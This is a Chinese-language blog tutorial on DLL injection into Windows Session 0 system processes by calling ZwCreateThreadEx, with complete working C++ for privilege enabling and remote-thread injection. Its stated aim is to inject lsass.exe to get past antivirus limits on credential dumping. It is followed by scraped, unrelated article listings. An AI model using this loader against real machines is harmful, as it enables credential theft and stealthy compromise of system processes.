前言

之前已经提到过,远线程注入内存写入隐藏模块,今天介绍突破session 0的dll注入

其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可以通过注入lsass

看大佬的博客真的可以学到很多哈哈

编译环境

win10 vs2019

什么是session 0

在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上。
这样做危险的地方是,用户使用的应用程序可能会利用Windows的服务程序提升自己的权限。

后续版本的windows,普通应用程序已经不再session 0中运行

思路

由于SESSION 0隔离机制,导致传统远程线程注入系统服务进程失败。和传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一一个区别就是,我们调用的是更为底层的ZwCreateThreadEx来创建线程,

虽然CreateRemoteThread 函数到底层也是调用ZwCreateThreadEx,但在调用ZwCreateThreadEx时 ,ZwCreateThreadEx的第7个参数 CreateSuspended(CreateThreadFlags)的值始终为1,它会导致线程创建完成后一直挂起无法恢复运行,于是我们选择直接调用ZwCreateThreadEx,将第7个参数直接置为0,这样可达到注入目的

实现过程

先创建一个dll

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(NULL, L"远程线程注入成功!", L"提示", NULL);
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

这里有一个坑:如果要注入系统进程的话,创建的dll一定要是64位的,这与当前的操作系统有关,后面编译exe的时候也一定要是64位的,这个更当前exe多少位有关

这是我的操作系统版本

编写程序

提升当前进程的权限

 1 BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName)
2 {
3 HANDLE hToken = NULL;
4 LUID luidValue = { 0 };
5 TOKEN_PRIVILEGES tokenPrivileges = { 0 };
6 BOOL bRet = FALSE;
7 DWORD dwRet = 0;
8 // 打开进程令牌并获取进程令牌句柄
9 bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
10 if (FALSE == bRet)
11 {
12 printf("OpenProcessToken");
13 return FALSE;
14 }
15 // 获取本地系统的 pszPrivilegesName 特权的LUID值
16 bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
17 if (FALSE == bRet)
18 {
19 printf("LookupPrivilegeValue");
20 return FALSE;
21 }
22 // 设置提升权限信息
23 tokenPrivileges.PrivilegeCount = 1;
24 tokenPrivileges.Privileges[0].Luid = luidValue;
25 tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
26 // 提升进程令牌访问权限
27 bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
28 if (FALSE == bRet)
29 {
30 printf("AdjustTokenPrivileges");
31 return FALSE;
32 }
33 else
34 {
35 // 根据错误码判断是否特权都设置成功
36 dwRet = ::GetLastError();
37 if (ERROR_SUCCESS == dwRet)
38 {
39 return TRUE;
40 }
41 else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
42 {
43 printf("ERROR_NOT_ALL_ASSIGNED");
44 return FALSE;
45 }
46 }
47 return FALSE;
48 }

这里参考了 https://www.write-bug.com/article/2012.html

这个师傅对函数中三个API都有介绍

ZwCreateThreadEx

ZwCreateThreadEx 在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。

在64位和32位中,函数定义还不一样

64位中

 1 DWORD WINAPI ZwCreateThreadEx(
2 PHANDLE ThreadHandle,
3 ACCESS_MASK DesiredAccess,
4 LPVOID ObjectAttributes,
5 HANDLE ProcessHandle,
6 LPTHREAD_START_ROUTINE lpStartAddress,
7 LPVOID lpParameter,
8 ULONG CreateThreadFlags,
9 SIZE_T ZeroBits,
10 SIZE_T StackSize,
11 SIZE_T MaximumStackSize,
12 LPVOID pUnkown);

32位中

 1 DWORD WINAPI ZwCreateThreadEx(
2 PHANDLE ThreadHandle,
3 ACCESS_MASK DesiredAccess,
4 LPVOID ObjectAttributes,
5 HANDLE ProcessHandle,
6 LPTHREAD_START_ROUTINE lpStartAddress,
7 LPVOID lpParameter,
8 BOOL CreateSuspended,
9 DWORD dwStackSize,
10 DWORD dw1,
11 DWORD dw2,
12 LPVOID pUnkown);

大体思路更之前dll注入差不多,知识更改CreateRemoteThread 为ZwCreateThreadEx

核心代码

 1 DWORD _InjectSysThread(DWORD _Pid, LPCWSTR psDllFillName)
2 {
3 //打开进程
4 HANDLE hprocess;
5 HANDLE hThread;
6 DWORD _SIZE = 0;
7 LPVOID pAlloc = NULL;
8 DWORD psDllAddr = 0;
9 FARPROC pThreadFunction;
10 DWORD ZwRet = 0;
11 hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
12 //在注入进程中写入Loadlibrary名称
13 _SIZE = (_tcslen(psDllFillName) + 1) * sizeof(TCHAR);
14 pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE);
15 if (pAlloc == NULL)
16 {
17 printf("VirtualAllocExERROR");
18 return FALSE;
19 }
20 BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllFillName, _SIZE, NULL);
21 if (FALSE == x)
22 {
23 printf("WriteProcessMemoryERROR");
24 return FALSE;
25 }
26
27 HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
28 if (hNtdll == NULL)
29 {
30 printf("LoadLibraryERROR");
31 return FALSE;
32 }
33
34 pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
35
36 #ifdef _WIN64
37 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
38 PHANDLE ThreadHandle,
39 ACCESS_MASK DesiredAccess,
40 LPVOID ObjectAttributes,
41 HANDLE ProcessHandle,
42 LPTHREAD_START_ROUTINE lpStartAddress,
43 LPVOID lpParameter,
44 ULONG CreateThreadFlags,
45 SIZE_T ZeroBits,
46 SIZE_T StackSize,
47 SIZE_T MaximumStackSize,
48 LPVOID pUnkown
49 );
50 #else
51 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
52 PHANDLE ThreadHandle,
53 ACCESS_MASK DesiredAccess,
54 LPVOID ObjectAttributes,
55 HANDLE ProcessHandle,
56 LPTHREAD_START_ROUTINE lpStartAddress,
57 LPVOID lpParameter,
58 BOOL CreateSuspended,
59 DWORD dwStackSize,
60 DWORD dw1,
61 DWORD dw2,
62 LPVOID pUnkown
63 );
64 #endif
65 typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
66 ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
67
68 if (ZwCreateThreadEx == NULL)
69 {
70 printf("ZwCreateThreadExERROR");
71 return FALSE;
72 }
73 HANDLE hRemoteThread;
74 ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess,
75 (LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL);
76
77 if (NULL == hRemoteThread)
78 {
79 printf("创建线程失败");
80 CloseHandle(hprocess);
81 return FALSE;
82 }
83 WaitForSingleObject(hRemoteThread, -1);
84 VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);
85 CloseHandle(hRemoteThread);
86 CloseHandle(hprocess);
87 FreeLibrary(hNtdll);
88 return TRUE;
89 }

执行结果

这里我选择的是explorer.exe

注入lsass.exe ,只不过注入这类程序不会弹窗,但我们不需要弹窗嘛(滑稽)

记得使用Procexp的时候管理员运行,要不然系统进程模块看不到

但是像这种进程csrss.exe

遍历不出来,我看到网上有个师傅说这个进程好像需要更高的权限去访问,注入的话也需要其他操作,应该是牵扯到0环层面了,小弟对0 环内核层并不熟悉,就写到这里,基本目标还是达成了

其实还可以内存写入,隐藏模块,更加隐蔽

如果提权运行报错的话,记得以管理员身份运行就好了

参考

https://www.write-bug.com/article/2013.html

https://idiotc4t.com/code-and-dll-process-injection/bypass-session-0-injection

远程线程注入dll,突破session 0的更多相关文章

  1. 远程线程注入DLL突破session 0 隔离

    远程线程注入DLL突破session 0 隔离 0x00 前言 补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL. 0x01 介绍 通过CreateRemoteTh ...

  2. 远程线程注入DLL

    远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...

  3. 详细解读:远程线程注入DLL到PC版微信

    一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以 ...

  4. CreateRemoteThread远程线程注入Dll与Hook

    CreateRemoteThread虽然很容易被检测到,但是在有些场合还是挺有用的.每次想用的时候总想着去找以前的代码,现在在这里记录一下. CreateRemoteThread远程注入 DWORD ...

  5. 【windows核心编程】使用远程线程注入DLL

    前言 该技术是指通过在[目标进程]中创建一个[远程线程]来达到注入的目的. 创建的[远程线程]函数为LoadLibrary, 线程函数的参数为DLL名字, 想要做的工作在DLL中编写.  示意图如下: ...

  6. 微信 电脑版 HOOK(WeChat PC Hook)- 远程线程注入dll原理

    Windows加载dll的特性 1.Windows系统中,每个exe软件运行的时候,会加载系统模块kernel32.dll 2.所有加载进exe软件的系统模块kernel32.dll,内存地址都是一样 ...

  7. 远程线程注入突破SESSION 0

    远程线程注入突破SESSION 0 SESSION 0 隔离 在Windows XP.Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se ...

  8. 恶意软件开发——突破SESSION 0 隔离的远线程注入

    一.前言 在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上,这样的做法导致用户使用的应用程序可能 ...

  9. 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程

    简介        大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...

随机推荐

  1. 人物传记Kyle Tedford:数据环境生变,银行大数据风控怎么办?

    数据是金融业务的基石,监管集中清查大数据公司,很多东西在发生根本性改变,资金方做"甩手掌柜"的好日子不会重现.那些缺乏自主风控能力的金融机构,在未来的行业竞争中,恐无以立足了.近日 ...

  2. Java自学第9期——Lambda表达式

    1.入门 使用场景:如果创建函数式接口(该接口的抽象方法只能有一个)的实例时,使用Lambda表达式更加简洁方便. 2.格式: (形参列表) -> { 代码块 } 3.简化 只有一个参数时,可以 ...

  3. 一文读懂什么是kubernetes?

    kubernetes概述 kubernetes面世不过短短几年时间,kuberenetes已经成为容器编排领域事实上的标准,无论是公有云,私有云或混合云,kubernetes都将作为一个为任何应用,任 ...

  4. msfconsole 常用命令记录

    Metasploit是一款开源的渗透测试框架,它现在还在逐步发展中,下面介绍的一些功能和命令,可能会在未来失效. Metasploit框架提供了多种不同方式的使用接口: msfgui msfconso ...

  5. java list集合遍历时删除元素

    转: java list集合遍历时删除元素 大家可能都遇到过,在vector或arraylist的迭代遍历过程中同时进行修改,会抛出异常java.util.ConcurrentModification ...

  6. 关于Laravel框架中Guard的底层实现

    1. 什么是Guard 在Laravel/Lumen框架中,用户的登录/注册的认证基本都已经封装好了,开箱即用.而登录/注册认证的核心就是: 用户的注册信息存入数据库(登记) 从数据库中读取数据和用户 ...

  7. 不使用map和set实现LRU——那用List?

    遇到一道面试题,不使用map和set实现LRU,要求get的时间复杂度为O(logn),put的时间复杂度不超过O(n).想到了用ArrayList来实现,保存有序的key.然而牵涉add节点,在保证 ...

  8. 翻译:《实用的Python编程》04_00_Overview

    目录 | 上一节 (3 程序组织) | 下一节 (5 Python对象的内部工作原理) 4. 类和对象 到目前为止,我们的程序仅使用了内置的 Python 数据类型.本节,我们介绍类(class)和对 ...

  9. Python基础(2)——循环和分支[xiaoshun]

    一.瞎扯 世界上一切的系统都可以被'分支'表示.循环也是分支,只不过又重复之前的'分支'选择罢了.程序如人生,每一次的'分支',每一次的选择,都会有不同的结果: 有的选择止步不前,无限循环: 有的选择 ...

  10. Memory Networks02 记忆网络经典论文

    目录 1 Recurrent Entity Network Introduction 模型构建 Input Encoder Dynamic Memory Output Model 总结 2 hiera ...